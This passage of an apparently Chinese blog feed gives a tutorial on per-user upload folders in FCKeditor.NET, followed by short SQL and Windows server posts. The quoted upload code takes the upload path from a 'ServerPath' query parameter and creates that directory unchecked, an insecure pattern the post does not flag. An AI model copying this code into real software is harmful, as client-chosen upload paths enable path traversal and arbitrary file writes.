&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;pre  style="display: none" name="code"&gt;protected string UserFilesPath&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;get&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( sUserFilesPath == null )&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 第一回从Application["FCKeditor:UserFilesPath"] 中读取，如果没有尝试其它方式&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath = (string)Application["FCKeditor:UserFilesPath"] ;&#xD;
&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 第二回从Session["FCKeditor:UserFilesPath"] 中读取，如果没有尝试其它方式&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( sUserFilesPath == null || sUserFilesPath.Length == 0 )&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath = (string)Session["FCKeditor:UserFilesPath"] ;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 第三回从web.config中读取，如果没有尝试其它方式&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( sUserFilesPath == null || sUserFilesPath.Length == 0 )&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath = System.Configuration.ConfigurationSettings.AppSettings["FCKeditor:UserFilesPath"] ;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 第四回从DEFAULT_USER_FILES_PATH（这个变量在同文件中）中读取，如果没有尝试其它方式&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( sUserFilesPath == null || sUserFilesPath.Length == 0 ) &#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath = DEFAULT_USER_FILES_PATH ;&#xD;
&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// 第五回从网址参数ServerPath中读取&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( sUserFilesPath == null || sUserFilesPath.Length == 0 ) &#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath = Request.QueryString["ServerPath"] ;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&#xD;
&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&#xD;
&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Check that the user path ends with slash ("/")&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( ! sUserFilesPath.EndsWith("/") )&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath += "/" ;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return sUserFilesPath ;&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&#xD;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/pre&gt;&#xD;
&lt;p&gt;从上面的注释可以看到用户上传路径的顺序，只要在页面加载的时候设置下Session["FCKeditor:UserFilesPath"]就可以设置FCKeditor上用户上传路径了 &lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&lt;a onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;view plain&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('CopyToClipboard',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;copy to clipboard&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;print&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('About',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;?&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;ol &gt;&lt;li &gt;&lt;span &gt;protected&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;void&lt;/span&gt;&lt;span&gt;&amp;nbsp;Page_Load(&lt;/span&gt;&lt;span &gt;object&lt;/span&gt;&lt;span&gt;&amp;nbsp;sender,&amp;nbsp;EventArgs&amp;nbsp;e) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(!Page.IsPostBack) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;Session[&lt;/span&gt;&lt;span &gt;"FCKeditor:UserFilesPath"&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span &gt;"用户上传路径"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;}&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;pre  style="display: none" name="code"&gt;protected void Page_Load(object sender, EventArgs e)&#xD;
{&#xD;
 if (!Page.IsPostBack)&#xD;
 Session["FCKeditor:UserFilesPath"] = "用户上传路径";&#xD;
}&lt;/pre&gt;&#xD;
&lt;p&gt;（我在配置的时候关闭了文件浏览，只提供文件快速上传）但是在使用的时候如果&amp;#8220;Resources/UserUpload/&lt;span style="color: red"&gt;user@gmail.com&lt;/span&gt;&amp;#8221;中的user@gmail.com路径没创建，上传中FCKeditor它不会创建，也导致了文件无法上传成功，那就需要再修改FCKeditor.net项目中的&lt;span style="color: red"&gt;Uploader.cs&lt;/span&gt;文件，添加一段文件夹存在的检测代码，如果不存在用户指定的文件夹侧创建一个 &lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&lt;a onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;view plain&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('CopyToClipboard',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;copy to clipboard&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;print&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('About',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;?&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;ol &gt;&lt;li &gt;&lt;span &gt;//&amp;nbsp;Get&amp;nbsp;the&amp;nbsp;uploaded&amp;nbsp;file&amp;nbsp;name. &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;string&lt;/span&gt;&lt;span&gt;&amp;nbsp;sFileName&amp;nbsp;=&amp;nbsp;System.IO.Path.GetFileName(&amp;nbsp;oFile.FileName&amp;nbsp;)&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;iCounter&amp;nbsp;=&amp;nbsp;0&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;//景裔添加 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;//检查上传目录是否已经被创建 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;//开始========================================== &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;//检查当前完整路径是否存在，不存在则开始逐级轮询检查，不存则就创建 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(!System.IO.Directory.Exists(UserFilesDirectory)) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;string&lt;/span&gt;&lt;span&gt;[]&amp;nbsp;tempDirectorys&amp;nbsp;=&amp;nbsp;UserFilesDirectory.Split(&lt;/span&gt;&lt;span &gt;new&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;string&lt;/span&gt;&lt;span&gt;[]&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span &gt;"\\"&amp;nbsp;},&amp;nbsp;StringSplitOptions.RemoveEmptyEntries); &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span &gt;string&amp;nbsp;tempDirectory&amp;nbsp;=&amp;nbsp;string.Empty; &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;for&amp;nbsp;(int&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;tempDirectorys.Length;&amp;nbsp;i++) &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;{ &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;tempDirectory&amp;nbsp;+=&amp;nbsp;tempDirectorys[i]&amp;nbsp;+&amp;nbsp;"&lt;/span&gt;&lt;span&gt;\\&lt;/span&gt;&lt;span &gt;"; &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;if&amp;nbsp;(!System.IO.Directory.Exists(tempDirectory)) &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;System.IO.Directory.CreateDirectory(tempDirectory); &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;} &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;} &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;//结束========================================== &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;&lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;while&amp;nbsp;(&amp;nbsp;true&amp;nbsp;) &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;{ &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;string&amp;nbsp;sFilePath&amp;nbsp;=&amp;nbsp;System.IO.Path.Combine(&amp;nbsp;this.UserFilesDirectory,&amp;nbsp;sFileName&amp;nbsp;)&amp;nbsp;; &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;&lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;if&amp;nbsp;(&amp;nbsp;System.IO.File.Exists(&amp;nbsp;sFilePath&amp;nbsp;)&amp;nbsp;) &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;{ &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;iCounter++&amp;nbsp;; &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;sFileName&amp;nbsp;=&amp;nbsp; &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;System.IO.Path.GetFileNameWithoutExtension(&amp;nbsp;oFile.FileName&amp;nbsp;)&amp;nbsp;+ &lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li &gt;&lt;span &gt;"&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span &gt;"&amp;nbsp;+&amp;nbsp;iCounter&amp;nbsp;+&amp;nbsp;"&lt;/span&gt;&lt;span&gt;)"&amp;nbsp;+ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;System.IO.Path.GetExtension(&amp;nbsp;oFile.FileName&amp;nbsp;)&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;iErrorNumber&amp;nbsp;=&amp;nbsp;201&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;oFile.SaveAs(&amp;nbsp;sFilePath&amp;nbsp;)&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;sFileUrl&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span &gt;this&lt;/span&gt;&lt;span&gt;.UserFilesPath&amp;nbsp;+&amp;nbsp;sFileName&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;break&lt;/span&gt;&lt;span&gt;&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;}&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;pre  style="display: none" name="code"&gt;// Get the uploaded file name.&#xD;
 string sFileName = System.IO.Path.GetFileName( oFile.FileName ) ;&#xD;
&#xD;
 int iCounter = 0 ;&#xD;
&#xD;
 //景裔添加&#xD;
 //检查上传目录是否已经被创建&#xD;
 //开始==========================================&#xD;
 //检查当前完整路径是否存在，不存在则开始逐级轮询检查，不存则就创建&#xD;
 if (!System.IO.Directory.Exists(UserFilesDirectory))&#xD;
 {&#xD;
 string[] tempDirectorys = UserFilesDirectory.Split(new string[] { "\\" }, StringSplitOptions.RemoveEmptyEntries);&#xD;
 string tempDirectory = string.Empty;&#xD;
 for (int i = 0; i &amp;lt; tempDirectorys.Length; i++)&#xD;
 {&#xD;
 tempDirectory += tempDirectorys[i] + "\\";&#xD;
 if (!System.IO.Directory.Exists(tempDirectory))&#xD;
 System.IO.Directory.CreateDirectory(tempDirectory);&#xD;
 }&#xD;
 }&#xD;
 //结束==========================================&#xD;
&#xD;
 while ( true )&#xD;
 {&#xD;
 string sFilePath = System.IO.Path.Combine( this.UserFilesDirectory, sFileName ) ;&#xD;
&#xD;
 if ( System.IO.File.Exists( sFilePath ) )&#xD;
 {&#xD;
 iCounter++ ;&#xD;
 sFileName = &#xD;
 System.IO.Path.GetFileNameWithoutExtension( oFile.FileName ) +&#xD;
 "(" + iCounter + ")" +&#xD;
 System.IO.Path.GetExtension( oFile.FileName ) ;&#xD;
&#xD;
 iErrorNumber = 201 ;&#xD;
 }&#xD;
 else&#xD;
 {&#xD;
 oFile.SaveAs( sFilePath ) ;&#xD;
&#xD;
 sFileUrl = this.UserFilesPath + sFileName ;&#xD;
 break ;&#xD;
 }&#xD;
 }&lt;/pre&gt;&#xD;
&lt;p&gt;这样就基本解决了多用户分文件夹上传图片的问题，不过也有缺陷的地方，就是当用户Session超时的时候，用户再使用浏览器上传文件就不会按照指定用户文件夹上传来了，分析这个情况可以得出：这个时候用户通过编辑器上传的文件也就是对编辑器内容作出了修改，但是因为Session超时了，所以可以把做出的修改视作无效，既然修改无效，那用户上传的文件也是没用的，所在我在web.config中又设置了个默认文件上传位置，所有无效文件都会上传到这里，那个回清理的时候也方便多了&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/tongzhenhua/aggbug/1831731.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/tongzhenhua/archive/2010/09/20/1831731.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2009/01/22/1379906.html</id><title type="text">in ,exists ,join</title><summary type="text">如A，B两个表， 当只显示一个表的数据如A，关系条件只一个如ID时，使用IN更快： select  *  from  A  where  id  in  (select  id  from  B) 当只显示一个表的数据如A，关系条件不只一个如ID，col1时，使用IN就不方便了，可以使用EXISTS： select  *  from  A  where  exists  (select  1  f...</summary><published>2009-01-22T06:54:00Z</published><updated>2009-01-22T06:54:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2009/01/22/1379906.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2009/01/22/1379906.html"/></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2008/11/18/1336309.html</id><title type="text">sql server 2000中了解各表的记录数</title><summary type="text">USE pubs GO DECLARE @NAME VARCHAR(40) DECLARE @SQL VARCHAR(4000) DECLARE authors_cursor CURSOR FOR SELECT Name as 表名 FROM SYSOBJECTS WHERE XTYPE='U' OPEN authors_cursor FETCH NEXT FROM authors_cursor ...</summary><published>2008-11-18T15:51:00Z</published><updated>2008-11-18T15:51:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2008/11/18/1336309.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2008/11/18/1336309.html"/></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2008/09/23/1297253.html</id><title type="text">oracle树形sql查询</title><summary type="text">select typecode,lpad(' ',4*level-1)||typenamefrom ajtype start with p_code is null connect by prior typecode=p_code;结果： 1 +市容环卫 15 +灯光管理 151 +拒不安装 15101 +拒不安装夜景灯光设施 152 +违规安装 15201 +不按规定位置安装夜景灯光设施 152...</summary><published>2008-09-23T08:51:00Z</published><updated>2008-09-23T08:51:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2008/09/23/1297253.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2008/09/23/1297253.html"/></entry><entry><id>http://www.cnblogs.com/tongzhenhua/archive/2008/08/31/1280823.html</id><title type="text">谨慎使用windows 2003 64位版</title><summary type="text">买了套正版的中文windows 2003 64位企业版，（ms寄出来的居然是英文版+中文包+32位版+一堆其他的光盘）安装完正版的oracle 9i （32位）结果发现tns配不了。jre升级到最新的，依然不行。唉。一查有兼容性问题。再试sqlserver ，安装时又是一个提示。。。。再用iis,出现在Windows 2003 64位下ASP无法连接Access数据库的问题，从网上搜索发现是64位...</summary><published>2008-08-31T15:58:00Z</published><updated>2008-08-31T15:58:00Z</updated><author><name>使名扬</name><uri>http://www.cnblogs.com/tongzhenhua/</uri></author><link rel="alternate" href="http://www.cnblogs.com/tongzhenhua/archive/2008/08/31/1280823.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/tongzhenhua/archive/2008/08/31/1280823.html"/></entry></feed>
